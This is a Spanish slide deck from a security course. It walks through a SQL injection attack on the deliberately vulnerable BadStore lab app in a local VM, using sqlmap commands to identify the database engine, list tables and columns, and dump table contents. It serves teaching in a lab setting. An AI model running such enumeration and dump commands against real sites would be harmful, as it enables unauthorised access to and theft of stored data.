Ataque inyeccion sql
Descargar como PPTX, PDF0 recomendaciones884 vistas
El documento describe un ataque de inyección de código SQL utilizando una máquina virtual con una imagen ISO de Badstore. Se detalla el proceso de identificación de vulnerabilidades en el sitio web, así como el uso de comandos específicos para extraer información, como la base de datos y las tablas. La guía es técnica y se centra en los comandos de sqlmap para manipular y obtener datos de la base de datos afectada.
Ataque inyeccion sql
- 1. Especialización en Seguridad Informática • Ataque por inyección de código SQL Estudiante: Daniel Felipe Palomo Luna Ibagué, Septiembre de 2014
- 2. Ataque por inyección de código SQL 1. Teniendo la imagen ISO de BadStore configurada en una maquina virtual de Virtualbox, se procede a conocer la dirección IP asignada para ingresar vía web desde el equipo donde se realizara el ataque a la Base de Datos.
- 3. 2. Luego de conocer la dirección IP, en este caso asignada la 192.168.1.3 mediante DHCP, se procede a ingresar desde un navegador web para verificar el funcionamiento del servidor web. Ataque por inyección de código SQL
- 4. 3. Dentro del sitio web, se debe explorar cada uno de los menús para visualizar las diferentes páginas alojadas, con esto se logra obtener en la URL la primera vulnerabilidad: Manejo de variables con métodos GET Y POST Variable encontrada: action Ataque por inyección de código SQL
- 5. Ataque por inyección de código SQL 4. Al conocer una de las variables que maneja la página a nivel de programación, se logra el descubrimiento del motor y la versión de la Base de Datos con el siguiente comando: sqlmap.py -u "http://192.168.1.3/cgi-bin/badstore.cgi?searchquery=hi&action=search&x=0&y=0" -b
- 6. Ataque por inyección de código SQL 5. Obtención del nombre de la Base de Datos con el siguiente comando: sqlmap.py -u "http://192.168.1.3/cgi-bin/badstore.cgi?searchquery=hi&action=search&x=0&y=0" --current-db
- 7. Ataque por inyección de código SQL 6. Obtención del listado de tablas de la Base de Datos con el siguiente comando: sqlmap.py -u "http://192.168.1.3/cgi-bin/badstore.cgi?searchquery=hi&action=search&x=0&y=0" --tables -D badstoredb
- 8. Ataque por inyección de código SQL 7. Obtención del listado de columnas de la tabla itemdb de la Base de Datos con el siguiente comando: sqlmap.py -u "http://192.168.1.3/cgi-bin/badstore.cgi?searchquery=hi&action=search&x=0&y=0" -D badstoredb -T itemdb --columns
- 9. Ataque por inyección de código SQL 8. Visualización de los datos almacenados en la tabla itemdb de la Base de Datos con el siguiente comando: sqlmap.py -u "http://192.168.1.3/cgi-bin/badstore.cgi?searchquery=hi&action=search&x=0&y=0" -D badstoredb -T itemdb -C ldesc --dump